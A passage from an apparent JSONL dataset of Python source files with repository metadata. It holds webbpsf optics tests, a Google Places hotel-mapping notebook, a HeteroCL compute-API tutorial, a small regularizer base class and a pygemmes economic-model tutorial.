3].imshow(ote.opd, vmin=-4e-6, vmax=4e-6, origin=\"lower\")\n            axs[i, 3].set_title(\"OPD (yellow +)\")\n            axs[i, 4].imshow(psfy[0].data, norm=matplotlib.colors.LogNorm(vmax=1e-2, vmin=1e-5), origin=\"lower\")\n            axs[i, 4].set_title(iseg+\": ytilt {} um\".format(tilt))\n            axs[i, 4].axhline(y=fov_pix/2)\n            axs[i, 4].axvline(x=fov_pix/2)\n\ndef test_segment_tilt_signs_2048npix():\n    \"\"\" Re-run same test as above, but with a different value for npix\n\n    This verifies the LOM works as expected for a size other than 1024 pixels\n    \"\"\"\n    test_segment_tilt_signs(npix=2048)\n\ndef test_changing_npix():\n    '''\n    Test that using different npix will result in same PSF\n    '''\n    # Create a NIRCam instance using the default npix=1024\n    nircam_1024 = webbpsf.NIRCam()\n    nircam_1024.pupilopd = None # Set to none so I don't have to worry about making new OPDs\n    psf_1024 = nircam_1024.calc_psf(oversample=2, nlambda=1, add_distortion=False)\n\n    # Create a NIRCam instance using npix=2048\n    npix = 2048\n    nircam_2048 = webbpsf.NIRCam()\n    nircam_2048.pupil = os.path.join(webbpsf.utils.get_webbpsf_data_path(),\n                                     f'jwst_pupil_RevW_npix{npix}.fits.gz')\n    nircam_2048.pupilopd = None # Set to none so I don't have to worry about making new OPDs\n    psf_2048 = nircam_2048.calc_psf(oversample=2, nlambda=1, add_distortion=False)\n\n    # Let's check individual pixel values, at least where the PSF is not too dim.\n    # Check all pixels which have > 1e-6 of the total flux (we can safely ignore pixels with very low intensity)\n    mask = psf_1024[0].data>1e-6\n    assert np.allclose(psf_1024[0].data[mask], psf_2048[0].data[mask], rtol=0.01), 'Pixel values differ by more than 1%'\n\n    # Let's check that the total flux in the PSF does not change much.\n    #  (A small amount is acceptable and not surprising, since higher resolution improves the fidelity at which\n    #   we model light that is scattered by segment edges to very wide angles outside of the simulated PSF FOV)\n    assert np.isclose(psf_1024[0].data.sum(), psf_2048[0].data.sum(), rtol=0.005), \"PSF total flux should not change much\"\n\n    # Let's also check a derived property of the whole PSF: the FWHM.\n    # The FWHM should be very close to identical for the two PSFs.\n    assert np.isclose(webbpsf.measure_fwhm(psf_1024), webbpsf.measure_fwhm(psf_2048), rtol=0.0001), \"PSF FWHM should not vary for different npix\"\n", "meta": {"hexsha": "b9d1b18587fd5b32b8e1cb43db9886a8f2849515", "size": 20974, "ext": "py", "lang": "Python", "max_stars_repo_path": "webbpsf/tests/test_opds.py", "max_stars_repo_name": "kian1377/webbpsf", "max_stars_repo_head_hexsha": "a3b94f60f12e89f6225dac5076a04c302a4ff58d", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 52, "max_stars_repo_stars_event_min_datetime": "2018-09-06T16:17:22.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T20:02:25.000Z", "max_issues_repo_path": "webbpsf/tests/test_opds.py", "max_issues_repo_name": "kian1377/webbpsf", "max_issues_repo_head_hexsha": "a3b94f60f12e89f6225dac5076a04c302a4ff58d", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 518, "max_issues_repo_issues_event_min_datetime": "2018-08-28T15:00:08.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T14:53:19.000Z", "max_forks_repo_path": "webbpsf/tests/test_opds.py", "max_forks_repo_name": "kian1377/webbpsf", "max_forks_repo_head_hexsha": "a3b94f60f12e89f6225dac5076a04c302a4ff58d", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 32, "max_forks_repo_forks_event_min_datetime": "2018-07-18T21:35:33.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-15T14:24:55.000Z", "avg_line_length": 43.5145228216, "max_line_length": 167, "alphanum_fraction": 0.6590540669, "include": true, "reason": "import numpy,import astropy,from astropy", "num_tokens": 6491, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.10521054722419469, "lm_q1q2_score": 0.05096189373128307}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # VacationPy\n# ----\n# \n# #### Note\n# * Keep an eye on your API usage. Use https://developers.google.com/maps/reporting/gmp-reporting as reference for how to monitor your usage and billing.\n# \n# * Instructions have been included for each segment. You do not have to follow them exactly, but they are included to help you think through the steps.\n\n# In[2]:\n\n\nget_ipython().system(' pip3 install gmaps')\n\n\n# In[19]:\n\n\nget_ipython().system(' jupyter nbextension enable --py gmaps')\n\n\n# In[20]:\n\n\n# Dependencies and Setup\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport requests\nimport gmaps\nimport os\n\n# Import API key\nfrom api_keys import g_key\n\n\n# In[ ]:\n\n\n\n\n\n# ### Store Part I results into DataFrame\n# * Load the csv exported in Part I to a DataFrame\n\n# In[24]:\n\n\ncity_data_df = pd.read_csv('output_data/cities.csv')\ncity_data_df.head()\n\n\n# ### Humidity Heatmap\n# * Configure gmaps.\n# * Use the Lat and Lng as locations and Humidity as the weight.\n# * Add Heatmap layer to map.\n\n# In[25]:\n\n\n#config gmaps\ngmaps.configure(api_key=g_key)\n\n\n# In[26]:\n\n\n#heatmap of humidity\nlocations = city_data_df[['Lat', 'Lng']]\nhumidity = city_data_df['Humidity']\nfig = gmaps.figure()\nheat_layer = gmaps.heatmap_layer(locations, weights=humidity, dissipating=False, max_intensity=300, point_radius=5)\n\nfig.add_layer(heat_layer)\nfig\n\n\n# ### Create new DataFrame fitting weather criteria\n# * Narrow down the cities to fit weather conditions.\n# * Drop any rows will null values.\n\n# In[32]:\n\n\n#Narrow down the cities to fit weather conditions and Drop any rows will null values\nnarrowed_city_df = city_data_df.loc[(city_data_df['Max Temp'] < 80) & (city_data_df['Max Temp'] > 70)                                     & (city_data_df['Wind Speed'] < 10)                                     & (city_data_df['Cloudiness'] == 0)]\nnarrowed_city_df.dropna()\n\nnarrowed_city_df\n\n\n# ### Hotel Map\n# * Store into variable named `hotel_df`.\n# * Add a \"Hotel Name\" column to the DataFrame.\n# * Set parameters to search for hotels with 5000 meters.\n# * Hit the Google Places API for each city's coordinates.\n# * Store the first Hotel result into the DataFrame.\n# * Plot markers on top of the heatmap.\n\n# In[33]:\n\n\n# Create DataFrame named hotel_df and Add a \"Hotel Name\" column to the DataFrame\nhotel_df = narrowed_city_df[['City', 'Country', 'Lat', 'Lng']].copy()\nhotel_df['Hotel Name'] = \"\"\nhotel_df\n\n\n# In[38]:\n\n\nparams = {\n    'radius': 5000,\n    'types': 'lodging',\n    'key': g_key\n    \n}\n\nfor index, row in hotel_df.iterrows():\n    #get latitude and longitude\n    lat = row['Lat']\n    lng = row['Lng']\n    \n    params['location'] = f\"{lat},{lng}\"\n    \n    #use the search term 'hotel' and produce the lat/lng \n    base_url = 'https://maps.googleapis.com/maps/api/place/nearbysearch/json'\n    \n    name_address = requests.get(base_url, params=params).json()\n    \n    try:\n        hotel_df.loc[index, 'Hotel Name'] = name_address['results'][0]['name']\n    except(KeyError, IndexError):\n        print('Missing field/result... skipping...')\n        \nhotel_df\n\n\n# In[39]:\n\n\n# NOTE: Do not change any of the code in this cell\n\n# Using the template add the hotel marks to the heatmap\ninfo_box_template = \"\"\"\n<dl>\n<dt>Name</dt><dd>{Hotel Name}</dd>\n<dt>City</dt><dd>{City}</dd>\n<dt>Country</dt><dd>{Country}</dd>\n</dl>\n\"\"\"\n# Store the DataFrame Row\n# NOTE: be sure to update with your DataFrame name\nhotel_info = [info_box_template.format(**row) for index, row in hotel_df.iterrows()]\nlocations = hotel_df[[\"Lat\", \"Lng\"]]\n\n\n# In[40]:\n\n\n# Add marker layer ontop of heat map\nmarker_layer = gmaps.marker_layer(locations, info_box_content=hotel_info)\n\nfig.add_layer(marker_layer)\n\n# Display figure\nfig\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "2be7e13a24c19a448625f01b6875be8b881351e5", "size": 3749, "ext": "py", "lang": "Python", "max_stars_repo_path": "VacationPy/VacationPy.py", "max_stars_repo_name": "Robert-W2019/PythonAPI-Challenge", "max_stars_repo_head_hexsha": "6528b376762ab6f43946f32af6698618932aedc5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "VacationPy/VacationPy.py", "max_issues_repo_name": "Robert-W2019/PythonAPI-Challenge", "max_issues_repo_head_hexsha": "6528b376762ab6f43946f32af6698618932aedc5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "VacationPy/VacationPy.py", "max_forks_repo_name": "Robert-W2019/PythonAPI-Challenge", "max_forks_repo_head_hexsha": "6528b376762ab6f43946f32af6698618932aedc5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 21.1807909605, "max_line_length": 246, "alphanum_fraction": 0.6775140037, "include": true, "reason": "import numpy", "num_tokens": 973, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769844, "lm_q2_score": 0.10521054441856571, "lm_q1q2_score": 0.050961892372292275}}
{"text": "\"\"\"\nHeteroCL Compute APIs\n=====================\n\n**Author**: Yi-Hsiang Lai (seanlatias@github)\n\nIn this tutorial, we will show more HeteroCL compute APIs. These APIs are used\nto build the algorithm. Note that in HeteroCL, the compute APIs can be used\nalong with the imperative DSL.\n\"\"\"\n\nimport heterocl as hcl\n\n##############################################################################\n# ``hcl.compute``\n# ---------------\n# We have introduced this API before. This API returns a **new tensor** whose\n# values are defined in an elementwise fashion. Following we show the API's\n# prototype.\n#\n# ``compute(shape, fcompute, name, dtype)``\n#\n# ``shape`` defines the shape of the output tensor. ``fcompute`` is a lambda\n# function that describes the elementwise definition. ``name`` and ``dtype``\n# are optional. We show an example below.\n\nhcl.init()\n\nA = hcl.placeholder((10,), \"A\")\nB = hcl.placeholder((10,), \"B\")\n\ndef compute_example(A, B):\n    return hcl.compute(A.shape, lambda x: A[x]+B[x], \"C\")\n\ns = hcl.create_schedule([A, B], compute_example)\nprint(hcl.lower(s))\n\n##############################################################################\n# ``hcl.update``\n# --------------\n# This API is similar to `hcl.compute` in that it defines how you **update a\n# tensor** in an elementwise fashion. Note that this API does not return a\n# new tensor. More specifically, the return value is `None`.\n#\n# ``hcl.update(tensor, fupdate, name)``\n#\n# ``tensor`` is the tensor we want ot update. ``fupate`` is a lambda function\n# that describes the elelmentwise update behavior. ``name`` is optional. We\n# show an example below that does the similar computation as `compute_example`.\n# The difference is that instead of returning a new tensor `C`, we send it in\n# as an input and update it in place. We can see that the generated IR is\n# almost the same.\n\nhcl.init()\nA = hcl.placeholder((10,), \"A\")\nB = hcl.placeholder((10,), \"B\")\nC = hcl.placeholder((10,), \"C\")\n\ndef update_example(A, B, C):\n    hcl.update(C, lambda x: A[x]+B[x], \"U\")\n\ns = hcl.create_schedule([A, B, C], update_example)\nprint(hcl.lower(s))\n\n##############################################################################\n# ``hcl.mutate``\n# -------------------\n# This API allows users to describe any loops with vector code, even if the\n# loop body does not have any common pattern or contains imperative DSL.\n# This API is useful when we want to perform optimization.\n#\n# ``hcl.mutate(domain, fbody, name)``\n#\n# ``domain`` describes the iteration domain of our original `for` loop.\n# ``fbody`` is the body statement of the `for` loop. ``name`` is optional. We\n# can describe the same computation in the previous two examples using this\n# API.\n\nhcl.init()\nA = hcl.placeholder((10,), \"A\")\nB = hcl.placeholder((10,), \"B\")\nC = hcl.placeholder((10,), \"C\")\n\ndef mut_example(A, B, C):\n    def loop_body(x):\n        C[x] = A[x] + B[x]\n    hcl.mutate((10,), lambda x: loop_body(x), \"M\")\n\ns = hcl.create_schedule([A, B, C], mut_example)\nprint(hcl.lower(s))\n\n##############################################################################\n# Note that in this example, we are not allowed to directly write the\n# assignment statement inside the lambda function. This is forbidden by Python\n# syntax rules.\n#\n# Combine Imperative DSL with Compute APIs\n# ----------------------------------------\n# HeteroCL allows users to write a mixed-paradigm programming application.\n# This is common when performing reduction operations. Although HeteroCL\n# provides APIs for simple reduction operations such as summation and finding\n# the maximum number, for more complexed reduction operations such as sorting,\n# we need to describe them manually. Following we show an example of finding\n# the maximum two values in a tensor.\n\nhcl.init()\nA = hcl.placeholder((10,), \"A\")\nM = hcl.placeholder((2,), \"M\")\n\ndef find_max_two(A, M):\n    def loop_body(x):\n        with hcl.if_(A[x] > M[0]):\n            with hcl.if_(A[x] > M[1]):\n                M[0] = M[1]\n                M[1] = A[x]\n            with hcl.else_():\n                M[0] = A[x]\n    hcl.mutate(A.shape, lambda x: loop_body(x))\n\ns = hcl.create_schedule([A, M], find_max_two)\nf = hcl.build(s)\n\nimport numpy as np\n\nhcl_A = hcl.asarray(np.random.randint(50, size=(10,)))\nhcl_M = hcl.asarray(np.array([-1, -1]))\n\nf(hcl_A, hcl_M)\n\nnp_A = hcl_A.asnumpy()\nnp_M = hcl_M.asnumpy()\n\nprint(np_A)\nprint(np_M)\n\nassert np.array_equal(np_M, np.sort(np_A)[-2:])\n", "meta": {"hexsha": "192474b2fe9f22fac412052df3038be56c84cede", "size": 4435, "ext": "py", "lang": "Python", "max_stars_repo_path": "tutorials/tutorial_03_api.py", "max_stars_repo_name": "hj424/heterocl", "max_stars_repo_head_hexsha": "e51b8f7f65ae6ad55c0c2426ab7192c3d8f6702b", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 236, "max_stars_repo_stars_event_min_datetime": "2019-05-19T01:48:11.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T09:03:54.000Z", "max_issues_repo_path": "tutorials/tutorial_03_api.py", "max_issues_repo_name": "hj424/heterocl", "max_issues_repo_head_hexsha": "e51b8f7f65ae6ad55c0c2426ab7192c3d8f6702b", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 248, "max_issues_repo_issues_event_min_datetime": "2019-05-17T19:18:36.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-30T21:25:47.000Z", "max_forks_repo_path": "tutorials/tutorial_03_api.py", "max_forks_repo_name": "hj424/heterocl", "max_forks_repo_head_hexsha": "e51b8f7f65ae6ad55c0c2426ab7192c3d8f6702b", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 85, "max_forks_repo_forks_event_min_datetime": "2019-05-17T20:09:27.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-28T20:19:00.000Z", "avg_line_length": 32.3722627737, "max_line_length": 79, "alphanum_fraction": 0.6171364149, "include": true, "reason": "import numpy", "num_tokens": 1128, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.1052105303904218, "lm_q1q2_score": 0.05096188557733874}}
{"text": "\nfrom abc import ABC, abstractmethod\nimport numpy as np\n\nclass Regularizer(ABC):\n    @abstractmethod\n    def regularize(self, weights: np.ndarray) -> None:\n        pass", "meta": {"hexsha": "a12c59bb59f465304c03c242896ff386dbca5994", "size": 168, "ext": "py", "lang": "Python", "max_stars_repo_path": "modules/regularizers/regularizer.py", "max_stars_repo_name": "df424/ml", "max_stars_repo_head_hexsha": "e12232ca4b90f983bfb14718afd314d3d6cc1bf9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "modules/regularizers/regularizer.py", "max_issues_repo_name": "df424/ml", "max_issues_repo_head_hexsha": "e12232ca4b90f983bfb14718afd314d3d6cc1bf9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "modules/regularizers/regularizer.py", "max_forks_repo_name": "df424/ml", "max_forks_repo_head_hexsha": "e12232ca4b90f983bfb14718afd314d3d6cc1bf9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 21.0, "max_line_length": 54, "alphanum_fraction": 0.7083333333, "include": true, "reason": "import numpy", "num_tokens": 40, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4455295350395727, "lm_q2_score": 0.11436853221906972, "lm_q1q2_score": 0.05095455898272052}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nContains all the formulations one want to know\n\"\"\"\n\n# I MAKE SURE YOUR ENVIRONMENT IS READY ######################################\n'''\n### I.1 check that you have all the libraries\n\nto get all the libraries you are going to need\n`!pip freeze > requirement.txt -v`\n\n### I.2 Tell python where pygemmes is\npygemmes has to be found by python so that it can loads it\n\nthere are two methods :\n    a) Start your python terminal at the root of the library ( typically ...\\\\GitHub\\\\GEMMES )\nor indicate it to spyder if you're using it (top-right folder)\n    b) Indicate to the system path where it is. In my case I'd have to use the lines :\n\n```\nimport sys  # a library that help python know where things are\npath = \"C:\\\\Users\\\\Paul Valcke\\\\Documents\\\\GitHub\\\\GEMMES\"  # Where pygemmes is\nsys.path.insert(0, path)  # we tell python to look at the folder `path`\n```\n\nIf you do a) you do it once and you're ready to go !\nif you do b) you have to do it every time\n\n########## ONCE IT'S DONE YOU SHOULD RESTART YOUR IPYTHON TERMINAL ###########\n'''\nimport sys\npath = \"C:\\\\Users\\\\Paul Valcke\\\\Documents\\\\GitHub\\\\GEMMES\"  # Where pygemmes is\nsys.path.insert(0, path)  # we tell python to look at the folder `path`\n\nimport matplotlib.pyplot as plt\nimport cv2\nimport numpy as np\nimport pygemmes as pgm  # we rename pygemmes as pgm to be shorter\n\n\n# %% PYTHON 101\n'''\nPython is a user-friendly, flexible language, with a huge community (lot of libraries),\nand incredibly powerful when used well\n\nHere are a few practical examples\n'''\n\n# There are multiple types of variables\n\nA = 'oneword'  # A string (characters)\nB = \"multiple words\"  # A string too !\nC = ''' A long description\nThat can be on multiple lines '''\n\nD = 1\nE = 1.1\nF = True\nG = E > F\n\nH = {}\nkeyvar = 'key'\nH[keyvar] = 42\nH['test'] = C\nH[C] = 0  # You can put anything as a list !\nH[3] = 'plop'\nI = {}\nI['dictionnary'] = H  # A dictionnary inside a dictionnary\n\n# Elements can be put together\nJ = (A, D, H)  # A tuple (a list that cannot be modified)\nK = [A, D, H]  # A list\n\n# Loops work with indentations\nfor i in [1, 2, 3, 4]:\n    print(i)\n\n# Dictionnaries are objects, and objects have methods associated :\nfor key, value in H.items():\n    print(key, value)\n\n# You can create your own objects\n\n\ndef IAmAFunction(x, hello=1):\n    '''\n    This is a description to explain what is in the function\n    '''\n\n    y = x+1  # y is created locally, once we leave the function we cannot acces y\n    if hello:\n        y *= 2  # we have a if loop for fun, hello=0, hello=False or hello=None does not go in this section\n    return y-7  # the value that you get at the end\n\n\nprint(IAmAFunction(45))  # hello will take the value 1\nprint(IAmAFunction(34))\nprint(IAmAFunction(34, hello=False))  # hello is taking the non-default value\n\n# USE ARRAYS !\nA = np.linspace(0, 1, 100)\nB = np.linspace(100, 200, 100)\n\nC = A*B\nD = np.zeros(100)  # create 100 zeros\nfor i in range(100):\n    D[i] = A[i]*B[i]\nprint(C-D)\n\n# %% OVERVIEWS : WHAT IS IN PYGEMMES ?\npgm.get_dfields_overview()\npgm.get_available_solvers()\npgm.get_available_models(details=True, verb=True)\npgm.get_available_output()\n\nlistofsolver = pgm.get_available_solvers(returnas=list)\nlistofmodels = pgm.get_available_models(returnas=list)\nlistoffields = [v[0] for v in pgm.get_dfields_overview(returnas=list)]\n\n# %% A FEW SIMPLE FUNCTIONS TO SHOW A FEW POSSIBILITIES\npgm.comparesolver_Lorenz(dt=0.01, Npoints=10000)\npgm.plot_one_run_all_solvers('LorenzSystem', preset='Canonical')\npgm.plot_one_run_all_solvers('GK')\npgm.testConvergence_DampOsc([1, 0.1, 0.01, 0.001], solver='eRK4-homemade')\n\n\n# %% HUB : YOUR BEST FRIEND\nhub = pgm.Hub('GK',)\n# verb=False\n# preset=None,\n# dpresets=None,\n# verb=None)\n\nhub\n\npgm.Generate_network_logics('GK')\nhub.equations_description()\n\nhub.dmodel  # Gives the content of the model file\nhub.dmisc  # gives multiple informations on the run and the variables\n\nhub.get_summary()\n\nhub.run(verb=0)  # solver=listofsolver[0],verb=1.1)\nR = hub.get_dparam(returnas=dict)\n\nhub.get_summary()\n\n# Plots examples\ndax = hub.plot()\ndax2 = hub.plot(key=['lambda', 'omega', 'd'])  # Select the variables\ndax3 = hub.plot(key=('GDP', 'a', 'Pi', 'kappa'))  # Remove some variables\npgm._plots.phasespace(hub, x='omega', y='lambda', color='d', idx=0)\n\n# Fill Cycles\nhub.FillCyclesForAll(ref='lambda')\ndax4 = hub.plot(mode='cycles')\n\n# %% Practical things about get_dparam\n'''\nget_dparam(self,\n           condition=None,\n           verb=None,\n           returnas=None,\n           **kwdargs):\n        \"\"\"\n        Return a copy of the input parameters dict as:\n            - dict: dict\n            - 'DataGFrame': a pandas DataFrame\n            - np.ndarray: a dict of np.ndarrays\n            - False: return nothing (useful of verb=True)\n        verb:\n            - True: pretty-print the chosen parameters\n            - False: print nothing\n        \"\"\"\n        lcrit = ['key', 'dimension', 'units', 'type', 'group', 'eqtype']\n        lprint = ['parameter', 'value', 'units', 'dimension', 'symbol',\n            'type', 'eqtype', 'group', 'comment',\n        ]\n'''\nR = hub.get_dparam(returnas=dict)\ngroupsoffields = hub.get_dparam_as_reverse_dict(crit='units', eqtype=['ode', 'statevar'])\nprint(groupsoffields)\n\n# %% Example : gaussian system\nhub_noise = pgm.Hub('Noise')\nhub_noise.run()\ndax = hub_noise.plot(key=['y'], label='-1')\nfor i in range(10):\n    hub_noise.run()\n    dax = hub_noise.plot(key=['y'], dax=dax, label=i)\n\n# %% CHANGING VALUES\nhub = pgm.Hub('GK', verb=False)\n# One slowly\nhub.set_dparam(key='dt', value=0.01)\nhub.set_dparam(Tmax=50)\n\n# Send a dictionnary\ndparam = {'alpha': 0, 'beta': 1}\nhub.set_dparam(dparam=dparam)\n\n# Send a dictionnary (alternative)\ndparam_changes = {'alpha': 0., 'delta': 0.}\nhub.set_dparam(dparam_changes)\n\n# Create N system in parrallel with different values\nhub.set_dparam(alpha=[0, 0.01, 0.02, 0.03])\n\n# Load a preset\nhub = pgm.Hub('GK', verb=False)\nhub.set_dparam(preset='default')\n\n# %% COMPARING MODELS REDUCED AND NON-REDUCED\npgm.get_available_models(details=False)\npgm.Generate_network_logics('GK')\npgm.Generate_network_logics('GK-Reduced')\nhub = pgm.create_preset_from_model_preset('GK', 'GK-Reduced')\nhub.run()\nhub.get_summary()\ndax = hub.plot(label='Reduced')\n\nBigHub = pgm.Hub('GK')\nBigHub.run()\nBigHub.get_summary()\ndax = hub.plot(label='Full', dax=dax)\n\n# %% Generate a dictionary of dictionary, with for each key:{'mean value\", 'std' , 'distribution'}\nSensitivityDic = {\n    'alpha': {'mu': .02,\n              'sigma': .12,\n              'type': 'log'},\n    'k2': {'mu': 20,\n           'sigma': .12,\n           'type': 'log'},\n    'mu': {'mu': 1.3,\n           'sigma': .12,\n           'type': 'log'},\n}\n\n\npresetSimple = pgm.GenerateIndividualSensitivity(\n    'alpha', 0.02, .2, disttype='log', N=10)\npresetCoupled = pgm.GenerateCoupledSensitivity(SensitivityDic, N=10, grid=False)\n\n_DPRESETS = {'SensitivitySimple': {'fields': presetSimple, 'com': ''},\n             'SensitivityCoupled': {'fields': presetCoupled, 'com': ''},\n             }\n\nhub = pgm.Hub('GK', preset='SensitivityCoupled', dpresets=_DPRESETS)\nhub.run(verb=1.1)\nhub.CalculateStatSensitivity()\ndax = hub.plot(mode='sensitivity')\n\n# %% BASIN OF ATTRACTION\nlambdavec = np.linspace(.5, .99, 10)\nomegavec = np.linspace(.5, .99, 10)\ndvec = np.linspace(3, 20, 10)\ndt = 0.005\nTmax = 20\n\n_DPRESETS = {'BasinOfAttraction':\n             {'fields': {'Tmax': Tmax,\n                         'dt': dt,\n                         'lambda': lambdavec,\n                         'omega': {'value': omegavec, 'grid': True},\n                         'd': {'value': dvec, 'grid': True},\n                         }, }, }\n\nhub = pgm.Hub('GK-Reduced', preset='BasinOfAttraction', dpresets=_DPRESETS)\nhub.run(verb=1.1)\n# hub.plot(idx=[0, 0, 0])\n\n# Extracting the infos we are looking for fron dparam\nR = hub.get_dparam(key=['lambda', 'omega', 'd', 'nt', 'dt', 'time'], returnas=dict)\nlambdaXYZ = R['lambda']['value']\nomegaXYZ = R['omega']['value']\ndXYZ = R['d']['value']\n\n\n# FINDING THE LINES IN THE VALLEY OF STABILITY\nFrontierD = {}  # Dictionnary containing all the positions of the line\nfor i in range(0, len(dvec)):\n\n    # Loading the initial situation on d\n    deq = dXYZ[0, 0, 0, i]\n    # finding where the debt ratio is bigger at the end\n    img = (dXYZ[-1, :, :, i] > deq).astype(np.uint8)\n\n    # Extracting coordinates from the limit\n    contours, _ = cv2.findContours(\n        img, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n    if contours:\n        XY = np.reshape(contours, (-1, 2))[1:, :]\n        FrontierD[deq] = {'omega': (omegavec[XY[:, 0]]),  # +omegavec[1+XY[:, 0]])/2,\n                          'lambda': (lambdavec[XY[:, 1]])}  # +lambdavec[1+XY[:, 1]])/2 }\n\n#  Plotting all the lines\nfor k, v in FrontierD.items():\n    plt.plot(v['omega'], v['lambda'], label=\"d(t=0)=\"+f\"{k:.2f}\")\nplt.axis('scaled')\nplt.legend()\nplt.show()\n\n# PLOTTING THE TEMPORARY EVOLUTION\nStep = 1\nPause = 0.05\nplt.figure('', figsize=(10, 10))\nfor j in range(0, len(dvec)):\n    for i in range(0, R['nt']['value'], int(Step/R['dt']['value'])):\n        plt.clf()\n        date = R['time']['value'][i, -1, -1, -1]\n        plt.title(\"t =\"+f\"{date:.2f}\"+\" years, d(t=0)=\"+f\"{dvec[j]:.2f}\")\n        plt.pcolormesh(omegavec, lambdavec,\n                       dXYZ[i, :, :, j], vmin=0, vmax=dvec[j], cmap='jet', shading='auto')\n        # plt.plot(omegavec[XY[:, 0]], lambdavec[XY[:, 1]], c='k')\n        plt.xlabel(r'$\\lambda(t=0)$')\n        plt.ylabel(r'$\\omega(t=0)$')\n        plt.colorbar()\n        plt.pause(Pause)\n    plt.show()\n\n\n# %% Run everyyyyyyyyyyything\ndmodels = pgm.get_available_models(returnas=dict, details=False, verb=True,)\ndsolvers = pgm.get_available_solvers(returnas=list)\nfor _MODEL in dmodels.keys():\n    for _SOLVER in dsolvers.keys():\n        for preset in dmodels[_MODEL]['presets']:\n            hub = pgm.Hub(_MODEL)  # , preset=preset, verb=False)\n            hub.run(verb=0, solver=_SOLVER)\n            hub.plot()\n\n# %% EXERCICES ##########################################\n\n'''\nExercise 1 : execute by yourself\n    1. Loading library \"From scratch\", load pygemmes\n    2. Access lists get the list of models, the list of solvers\n    3. Load a model Load the model 'Goodwin', then with a preset directly loaded\n    4. change value Run it with different timestep\n    5. change solver Run it with different solvers\n    6. Plots Plot only lambda, then everything but lambda, then with cycles analysis activated\n    7. Exploring dparam structure print all the keys of one field in dparam, then all their values\n    8. Getting dparam values Get the values of omega over time as an array, plot it manually\n    9. Creating multiple process Create a preset with 5 values of the rate of productivity progres\n\nExercise 2 : editing\n    1. Accessing your personal folder find your personal folder where all models are\n    2. Copy-paste a file Copy the file model GK-Reduced, name it GK-CES-Reduced then reload\npygemmes to see if you can load id\n    3. Modify the equations Use the equations for \"lambda, omega, d\" you find in McIsaac et al,\nMinskyan classical growth cycles, Mathematics and Financial Economics with the introduction\nof new parameters in _def_fields\n    4. See the impact of a parameter (1) Do an ensemble of run with different elasticity values\n    5. See the impact on cycles Show the impact of the elasticity value on the cycles\n    6. See the impact on stability Do a stability analysis with different values\n\nExercise 3 : add on github\n    1. Create an issue on the github page\n    2. Once your model is ready, put it in pygemmes/_models\n    3. Create a branch with your modifications and push it\n    4. Create a Pull Request with it\n\n'''\n\n# %% TESTS ##########################################\n# TO TEST THAT EVERYTHING IS WORKING WELL\n# !pytest pygemmes/tests/test_01_Hub.py -v\n# !pytest pygemmes/tests/test_00_get -v\n# !pytest pygemmes/tests/test_02_Hub_Multiple -v\n# !pytest pygemmes/tests/test_03_articles -v\n", "meta": {"hexsha": "f99cf71b5bb95b670e71844412ee76a6afc16fd0", "size": 11950, "ext": "py", "lang": "Python", "max_stars_repo_path": "doc/Tutorial.py", "max_stars_repo_name": "DaluS/GEMMES", "max_stars_repo_head_hexsha": "10d4a062004ce5b7fd26eb8c4937d940b7d097d5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2021-06-28T07:11:34.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-11T13:43:17.000Z", "max_issues_repo_path": "doc/Tutorial.py", "max_issues_repo_name": "DaluS/GEMMES", "max_issues_repo_head_hexsha": "10d4a062004ce5b7fd26eb8c4937d940b7d097d5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 167, "max_issues_repo_issues_event_min_datetime": "2021-06-28T07:10:21.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-18T17:30:40.000Z", "max_forks_repo_path": "doc/Tutorial.py", "max_forks_repo_name": "DaluS/GEMMES", "max_forks_repo_head_hexsha": "10d4a062004ce5b7fd26eb8c4937d940b7d097d5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2021-06-28T07:19:12.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-03T02:44:15.000Z", "avg_line_length": 31.9518716578, 